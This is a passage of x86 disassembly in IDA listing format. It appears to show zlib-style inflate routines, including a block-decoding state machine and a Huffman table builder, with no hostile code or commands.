mov ecx, [eax+4]
push ecx
call sub_42B035
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_42C309
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_78], eax
jmp short loc_42C315
; ---------------------------------------------------------------------------
loc_42C309: ; CODE XREF: sub_42B1FD+10F9j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_78], edx
loc_42C315: ; CODE XREF: sub_42B1FD+110Aj
mov eax, [ebp+var_78]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+18h], 0
jnz short loc_42C332
mov edx, [ebp+arg_0]
mov dword ptr [edx], 0
jmp loc_42C524
; ---------------------------------------------------------------------------
loc_42C332: ; CODE XREF: sub_42B1FD+1125j
mov eax, [ebp+arg_0]
mov dword ptr [eax], 7
loc_42C33B: ; CODE XREF: sub_42B1FD+75j
; DATA XREF: TEUm:0042C549o
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
mov [ebp+arg_8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_42C380
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_7C], edx
jmp short loc_42C38C
; ---------------------------------------------------------------------------
loc_42C380: ; CODE XREF: sub_42B1FD+1170j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_7C], ecx
loc_42C38C: ; CODE XREF: sub_42B1FD+1181j
mov edx, [ebp+var_7C]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+34h]
jz short loc_42C3FB
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_14]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_1C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42C3FB: ; CODE XREF: sub_42B1FD+11A1j
mov eax, [ebp+arg_0]
mov dword ptr [eax], 8
loc_42C404: ; CODE XREF: sub_42B1FD+75j
; DATA XREF: TEUm:0042C54Do
mov [ebp+arg_8], 1
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42C529
; ---------------------------------------------------------------------------
loc_42C466: ; CODE XREF: sub_42B1FD+75j
; DATA XREF: TEUm:0042C551o
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp short loc_42C529
; ---------------------------------------------------------------------------
loc_42C4C5: ; CODE XREF: sub_42B1FD+6Cj
mov [ebp+arg_8], 0FFFFFFFEh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_14]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp short loc_42C529
; ---------------------------------------------------------------------------
loc_42C524: ; CODE XREF: sub_42B1FD:loc_42B501j
; sub_42B1FD+487j ...
jmp loc_42B25D
; ---------------------------------------------------------------------------
loc_42C529: ; CODE XREF: sub_42B1FD+EBj
; sub_42B1FD+238j ...
mov esp, ebp
pop ebp
retn
sub_42B1FD endp
; ---------------------------------------------------------------------------
off_42C52D dd offset loc_42B279 ; DATA XREF: sub_42B1FD+75r
dd offset loc_42B506
dd offset loc_42B689
dd offset loc_42B8EE
dd offset loc_42BAFD
dd offset loc_42BD0E
dd offset loc_42C22F
dd offset loc_42C33B
dd offset loc_42C404
dd offset loc_42C466
off_42C555 dd offset loc_42B354 ; DATA XREF: sub_42B1FD+150r
dd offset loc_42B391
dd offset loc_42B45A
dd offset loc_42B47A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C565 proc near ; CODE XREF: sub_42DCDC+3Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42B04E
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_4]
call dword ptr [edx+24h]
add esp, 8
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_4]
call dword ptr [eax+24h]
add esp, 8
xor eax, eax
pop ebp
retn
sub_42C565 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C5C0 proc near ; CODE XREF: sub_42CE8E+51p
; sub_42CF36+62p ...
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
var_F4 = dword ptr -0F4h
var_F0 = dword ptr -0F0h
var_EC = dword ptr -0ECh
var_E8 = dword ptr -0E8h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 108h
lea eax, [ebp+var_54]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx], 0
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx], 0
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_EC], ecx
loc_42C6FE: ; CODE XREF: sub_42C5C0+172j
mov edx, [ebp+var_4]
mov eax, [edx]
mov ecx, [ebp+eax*4+var_54]
add ecx, 1
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+eax*4+var_54], ecx
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_EC]
sub edx, 1
mov [ebp+var_EC], edx
cmp [ebp+var_EC], 0
jnz short loc_42C6FE
mov eax, [ebp+var_54]
cmp eax, [ebp+arg_4]
jnz short loc_42C755
mov ecx, [ebp+arg_14]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_18]
mov dword ptr [edx], 0
xor eax, eax
jmp loc_42CE8A
; ---------------------------------------------------------------------------
loc_42C755: ; CODE XREF: sub_42C5C0+17Aj
mov eax, [ebp+arg_18]
mov ecx, [eax]
mov [ebp+var_100], ecx
mov [ebp+var_F4], 1
jmp short loc_42C77B
; ---------------------------------------------------------------------------
loc_42C76C: ; CODE XREF: sub_42C5C0:loc_42C793j
mov edx, [ebp+var_F4]
add edx, 1
mov [ebp+var_F4], edx
loc_42C77B: ; CODE XREF: sub_42C5C0+1AAj
cmp [ebp+var_F4], 0Fh
ja short loc_42C795
mov eax, [ebp+var_F4]
cmp [ebp+eax*4+var_54], 0
jz short loc_42C793
jmp short loc_42C795
; ---------------------------------------------------------------------------
loc_42C793: ; CODE XREF: sub_42C5C0+1CFj
jmp short loc_42C76C
; ---------------------------------------------------------------------------
loc_42C795: ; CODE XREF: sub_42C5C0+1C2j
; sub_42C5C0+1D1j
mov ecx, [ebp+var_F4]
mov [ebp+var_FC], ecx
mov edx, [ebp+var_100]
cmp edx, [ebp+var_F4]
jnb short loc_42C7BB
mov eax, [ebp+var_F4]
mov [ebp+var_100], eax
loc_42C7BB: ; CODE XREF: sub_42C5C0+1EDj
mov [ebp+var_EC], 0Fh
jmp short loc_42C7D6
; ---------------------------------------------------------------------------
loc_42C7C7: ; CODE XREF: sub_42C5C0:loc_42C7EEj
mov ecx, [ebp+var_EC]
sub ecx, 1
mov [ebp+var_EC], ecx
loc_42C7D6: ; CODE XREF: sub_42C5C0+205j
cmp [ebp+var_EC], 0
jz short loc_42C7F0
mov edx, [ebp+var_EC]
cmp [ebp+edx*4+var_54], 0
jz short loc_42C7EE
jmp short loc_42C7F0
; ---------------------------------------------------------------------------
loc_42C7EE: ; CODE XREF: sub_42C5C0+22Aj
jmp short loc_42C7C7
; ---------------------------------------------------------------------------
loc_42C7F0: ; CODE XREF: sub_42C5C0+21Dj
; sub_42C5C0+22Cj
mov eax, [ebp+var_EC]
mov [ebp+var_A0], eax
mov ecx, [ebp+var_100]
cmp ecx, [ebp+var_EC]
jbe short loc_42C816
mov edx, [ebp+var_EC]
mov [ebp+var_100], edx
loc_42C816: ; CODE XREF: sub_42C5C0+248j
mov eax, [ebp+arg_18]
mov ecx, [ebp+var_100]
mov [eax], ecx
mov edx, 1
mov ecx, [ebp+var_F4]
shl edx, cl
mov [ebp+var_E8], edx
jmp short loc_42C853
; ---------------------------------------------------------------------------
loc_42C836: ; CODE XREF: sub_42C5C0:loc_42C88Aj
mov eax, [ebp+var_F4]
add eax, 1
mov [ebp+var_F4], eax
mov ecx, [ebp+var_E8]
shl ecx, 1
mov [ebp+var_E8], ecx
loc_42C853: ; CODE XREF: sub_42C5C0+274j
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_EC]
jnb short loc_42C88C
mov eax, [ebp+var_F4]
mov ecx, [ebp+var_E8]
sub ecx, [ebp+eax*4+var_54]
mov [ebp+var_E8], ecx
cmp [ebp+var_E8], 0
jge short loc_42C88A
mov eax, 0FFFFFFFDh
jmp loc_42CE8A
; ---------------------------------------------------------------------------
loc_42C88A: ; CODE XREF: sub_42C5C0+2BEj
jmp short loc_42C836
; ---------------------------------------------------------------------------
loc_42C88C: ; CODE XREF: sub_42C5C0+29Fj
mov edx, [ebp+var_EC]
mov eax, [ebp+var_E8]
sub eax, [ebp+edx*4+var_54]
mov [ebp+var_E8], eax
cmp [ebp+var_E8], 0
jge short loc_42C8B5
mov eax, 0FFFFFFFDh
jmp loc_42CE8A
; ---------------------------------------------------------------------------
loc_42C8B5: ; CODE XREF: sub_42C5C0+2E9j
mov ecx, [ebp+var_EC]
mov edx, [ebp+ecx*4+var_54]
add edx, [ebp+var_E8]
mov eax, [ebp+var_EC]
mov [ebp+eax*4+var_54], edx
mov [ebp+var_F4], 0
mov ecx, [ebp+var_F4]
mov [ebp+var_DC], ecx
lea edx, [ebp+var_50]
mov [ebp+var_4], edx
lea eax, [ebp+var_D8]
mov [ebp+var_98], eax
loc_42C8F7: ; CODE XREF: sub_42C5C0+386j
mov ecx, [ebp+var_EC]
sub ecx, 1
mov [ebp+var_EC], ecx
cmp [ebp+var_EC], 0
jz short loc_42C948
mov edx, [ebp+var_4]
mov eax, [ebp+var_F4]
add eax, [edx]
mov [ebp+var_F4], eax
mov ecx, [ebp+var_98]
mov edx, [ebp+var_F4]
mov [ecx], edx
mov eax, [ebp+var_98]
add eax, 4
mov [ebp+var_98], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp short loc_42C8F7
; ---------------------------------------------------------------------------
loc_42C948: ; CODE XREF: sub_42C5C0+34Dj
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov [ebp+var_EC], 0
loc_42C958: ; CODE XREF: sub_42C5C0+404j
mov eax, [ebp+var_4]
mov ecx, [eax]
mov [ebp+var_F4], ecx
mov edx, [ebp+var_F4]
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
test edx, edx
jz short loc_42C9AC
mov ecx, [ebp+var_F4]
mov edx, [ebp+ecx*4+var_E0]
mov eax, [ebp+arg_24]
mov ecx, [ebp+var_EC]
mov [eax+edx*4], ecx
mov edx, [ebp+var_F4]
mov eax, [ebp+edx*4+var_E0]
add eax, 1
mov ecx, [ebp+var_F4]
mov [ebp+ecx*4+var_E0], eax
loc_42C9AC: ; CODE XREF: sub_42C5C0+3B4j
mov edx, [ebp+var_EC]
add edx, 1
mov [ebp+var_EC], edx
mov eax, [ebp+var_EC]
cmp eax, [ebp+arg_4]
jb short loc_42C958
mov ecx, [ebp+var_A0]
mov edx, [ebp+ecx*4+var_E0]
mov [ebp+arg_4], edx
mov [ebp+var_EC], 0
mov eax, [ebp+var_EC]
mov [ebp+var_E0], eax
mov ecx, [ebp+arg_24]
mov [ebp+var_4], ecx
mov [ebp+var_E4], 0FFFFFFFFh
mov edx, [ebp+var_100]
neg edx
mov [ebp+var_9C], edx
mov [ebp+var_90], 0
mov [ebp+var_8], 0
mov [ebp+var_F0], 0
jmp short loc_42CA36
; ---------------------------------------------------------------------------
loc_42CA27: ; CODE XREF: sub_42C5C0:loc_42CE57j
mov eax, [ebp+var_FC]
add eax, 1
mov [ebp+var_FC], eax
loc_42CA36: ; CODE XREF: sub_42C5C0+465j
mov ecx, [ebp+var_FC]
cmp ecx, [ebp+var_A0]
jg loc_42CE5C
mov edx, [ebp+var_FC]
mov eax, [ebp+edx*4+var_54]
mov [ebp+var_C], eax
loc_42CA55: ; CODE XREF: sub_42C5C0:loc_42CE52j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
test ecx, ecx
jz loc_42CE57
loc_42CA69: ; CODE XREF: sub_42C5C0:loc_42CC9Fj
mov eax, [ebp+var_9C]
add eax, [ebp+var_100]
cmp [ebp+var_FC], eax
jle loc_42CCA4
mov ecx, [ebp+var_E4]
add ecx, 1
mov [ebp+var_E4], ecx
mov edx, [ebp+var_9C]
add edx, [ebp+var_100]
mov [ebp+var_9C], edx
mov eax, [ebp+var_A0]
sub eax, [ebp+var_9C]
mov [ebp+var_F0], eax
mov ecx, [ebp+var_F0]
cmp ecx, [ebp+var_100]
jbe short loc_42CAD0
mov edx, [ebp+var_100]
mov [ebp+var_104], edx
jmp short loc_42CADC
; ---------------------------------------------------------------------------
loc_42CAD0: ; CODE XREF: sub_42C5C0+500j
mov eax, [ebp+var_F0]
mov [ebp+var_104], eax
loc_42CADC: ; CODE XREF: sub_42C5C0+50Ej
mov ecx, [ebp+var_104]
mov [ebp+var_F0], ecx
mov edx, [ebp+var_FC]
sub edx, [ebp+var_9C]
mov [ebp+var_F4], edx
mov eax, 1
mov ecx, [ebp+var_F4]
shl eax, cl
mov [ebp+var_94], eax
mov ecx, [ebp+var_C]
add ecx, 1
cmp [ebp+var_94], ecx
jbe loc_42CBB3
mov edx, [ebp+var_C]
add edx, 1
mov eax, [ebp+var_94]
sub eax, edx
mov [ebp+var_94], eax
mov ecx, [ebp+var_FC]
lea edx, [ebp+ecx*4+var_54]
mov [ebp+var_98], edx
mov eax, [ebp+var_F4]
cmp eax, [ebp+var_F0]
jnb short loc_42CBB3
loc_42CB51: ; CODE XREF: sub_42C5C0+5F1j
mov ecx, [ebp+var_F4]
add ecx, 1
mov [ebp+var_F4], ecx
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_F0]
jnb short loc_42CBB3
mov eax, [ebp+var_94]
shl eax, 1
mov [ebp+var_94], eax
mov ecx, [ebp+var_98]
add ecx, 4
mov [ebp+var_98], ecx
mov edx, [ebp+var_98]
mov eax, [ebp+var_94]
cmp eax, [edx]
ja short loc_42CB9D
jmp short loc_42CBB3
; ---------------------------------------------------------------------------
loc_42CB9D: ; CODE XREF: sub_42C5C0+5D9j
mov ecx, [ebp+var_98]
mov edx, [ebp+var_94]
sub edx, [ecx]
mov [ebp+var_94], edx
jmp short loc_42CB51
; ---------------------------------------------------------------------------
loc_42CBB3: ; CODE XREF: sub_42C5C0+559j
; sub_42C5C0+58Fj ...
mov eax, 1
mov ecx, [ebp+var_F4]
shl eax, cl
mov [ebp+var_F0], eax
mov ecx, [ebp+arg_20]
mov edx, [ecx]
add edx, [ebp+var_F0]
cmp edx, 5A0h
jbe short loc_42CBE3
mov eax, 0FFFFFFFCh
jmp loc_42CE8A
; ---------------------------------------------------------------------------
loc_42CBE3: ; CODE XREF: sub_42C5C0+617j
mov eax, [ebp+arg_20]
mov ecx, [eax]
mov edx, [ebp+arg_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_E4]
mov edx, [ebp+var_8]
mov [ebp+ecx*4+var_90], edx
mov eax, [ebp+arg_20]
mov ecx, [eax]
add ecx, [ebp+var_F0]
mov edx, [ebp+arg_20]
mov [edx], ecx
cmp [ebp+var_E4], 0
jz short loc_42CC97
mov eax, [ebp+var_E4]
mov ecx, [ebp+var_EC]
mov [ebp+eax*4+var_E0], ecx
mov dl, byte ptr [ebp+var_100]
mov byte ptr [ebp+var_14+1], dl
mov al, byte ptr [ebp+var_F4]
mov byte ptr [ebp+var_14], al
mov ecx, [ebp+var_9C]
sub ecx, [ebp+var_100]
mov edx, [ebp+var_EC]
shr edx, cl
mov [ebp+var_F4], edx
mov eax, [ebp+var_E4]
mov ecx, [ebp+var_8]
sub ecx, [ebp+eax*4+var_94]
sar ecx, 3
sub ecx, [ebp+var_F4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_E4]
mov eax, [ebp+edx*4+var_94]
mov ecx, [ebp+var_F4]
mov edx, [ebp+var_14]
mov [eax+ecx*8], edx
mov edx, [ebp+var_10]
mov [eax+ecx*8+4], edx
jmp short loc_42CC9F
; ---------------------------------------------------------------------------
loc_42CC97: ; CODE XREF: sub_42C5C0+658j
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_8]
mov [eax], ecx
loc_42CC9F: ; CODE XREF: sub_42C5C0+6D5j
jmp loc_42CA69
; ---------------------------------------------------------------------------
loc_42CCA4: ; CODE XREF: sub_42C5C0+4BBj
mov edx, [ebp+var_FC]
sub edx, [ebp+var_9C]
mov byte ptr [ebp+var_14+1], dl
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_24]
lea edx, [ecx+eax*4]
cmp [ebp+var_4], edx
jb short loc_42CCC7
mov byte ptr [ebp+var_14], 0C0h
jmp short loc_42CD25
; ---------------------------------------------------------------------------
loc_42CCC7: ; CODE XREF: sub_42C5C0+6FFj
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_8]
jnb short loc_42CCF7
mov edx, [ebp+var_4]
cmp dword ptr [edx], 100h
sbb eax, eax
and al, 0A0h
add eax, 60h
mov byte ptr [ebp+var_14], al
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
jmp short loc_42CD25
; ---------------------------------------------------------------------------
loc_42CCF7: ; CODE XREF: sub_42C5C0+70Fj
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, [ebp+arg_8]
mov eax, [ebp+arg_10]
mov ecx, [eax+edx*4]
add ecx, 50h
mov byte ptr [ebp+var_14], cl
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov edx, [ecx+eax*4]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
loc_42CD25: ; CODE XREF: sub_42C5C0+705j
; sub_42C5C0+735j
mov ecx, [ebp+var_FC]
sub ecx, [ebp+var_9C]
mov edx, 1
shl edx, cl
mov [ebp+var_94], edx
mov eax, [ebp+var_EC]
mov ecx, [ebp+var_9C]
shr eax, cl
mov [ebp+var_F4], eax
jmp short loc_42CD66
; ---------------------------------------------------------------------------
loc_42CD54: ; CODE XREF: sub_42C5C0+7CAj
mov ecx, [ebp+var_F4]
add ecx, [ebp+var_94]
mov [ebp+var_F4], ecx
loc_42CD66: ; CODE XREF: sub_42C5C0+792j
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_F0]
jnb short loc_42CD8C
mov eax, [ebp+var_F4]
mov ecx, [ebp+var_8]
mov edx, [ebp+var_14]
mov [ecx+eax*8], edx
mov edx, [ebp+var_10]
mov [ecx+eax*8+4], edx
jmp short loc_42CD54
; ---------------------------------------------------------------------------
loc_42CD8C: ; CODE XREF: sub_42C5C0+7B2j
mov ecx, [ebp+var_FC]
sub ecx, 1
mov eax, 1
shl eax, cl
mov [ebp+var_F4], eax
jmp short loc_42CDB2
; ---------------------------------------------------------------------------
loc_42CDA4: ; CODE XREF: sub_42C5C0+814j
mov ecx, [ebp+var_F4]
shr ecx, 1
mov [ebp+var_F4], ecx
loc_42CDB2: ; CODE XREF: sub_42C5C0+7E2j
mov edx, [ebp+var_EC]
and edx, [ebp+var_F4]
test edx, edx
jz short loc_42CDD6
mov eax, [ebp+var_EC]
xor eax, [ebp+var_F4]
mov [ebp+var_EC], eax
jmp short loc_42CDA4
; ---------------------------------------------------------------------------
loc_42CDD6: ; CODE XREF: sub_42C5C0+800j
mov ecx, [ebp+var_EC]
xor ecx, [ebp+var_F4]
mov [ebp+var_EC], ecx
mov edx, 1
mov ecx, [ebp+var_9C]
shl edx, cl
sub edx, 1
mov [ebp+var_F8], edx
loc_42CDFE: ; CODE XREF: sub_42C5C0+890j
mov eax, [ebp+var_EC]
and eax, [ebp+var_F8]
mov ecx, [ebp+var_E4]
cmp eax, [ebp+ecx*4+var_E0]
jz short loc_42CE52
mov edx, [ebp+var_E4]
sub edx, 1
mov [ebp+var_E4], edx
mov eax, [ebp+var_9C]
sub eax, [ebp+var_100]
mov [ebp+var_9C], eax
mov edx, 1
mov ecx, [ebp+var_9C]
shl edx, cl
sub edx, 1
mov [ebp+var_F8], edx
jmp short loc_42CDFE
; ---------------------------------------------------------------------------
loc_42CE52: ; CODE XREF: sub_42C5C0+857j
jmp loc_42CA55
; ---------------------------------------------------------------------------
loc_42CE57: ; CODE XREF: sub_42C5C0+4A3j
jmp loc_42CA27
; ---------------------------------------------------------------------------
loc_42CE5C: ; CODE XREF: sub_42C5C0+482j
cmp [ebp+var_E8], 0
jz short loc_42CE7A
cmp [ebp+var_A0], 1
jz short loc_42CE7A
mov [ebp+var_108], 0FFFFFFFBh
jmp short loc_42CE84
; ---------------------------------------------------------------------------
loc_42CE7A: ; CODE XREF: sub_42C5C0+8A3j
; sub_42C5C0+8ACj
mov [ebp+var_108], 0
loc_42CE84: ; CODE XREF: sub_42C5C0+8B8j
mov eax, [ebp+var_108]
loc_42CE8A: ; CODE XREF: sub_42C5C0+190j
; sub_42C5C0+2C5j ...
mov esp, ebp
pop ebp
retn
sub_42C5C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CE8E proc near ; CODE XREF: sub_42B1FD+A62p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
push 4
push 13h
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_10]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42CEBF
mov eax, 0FFFFFFFCh
jmp short loc_42CF32
; ---------------------------------------------------------------------------
loc_42CEBF: ; CODE XREF: sub_42CE8E+28j
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 0
push 0
push 13h
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_42C5C0
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_42CEFC
mov eax, [ebp+arg_10]
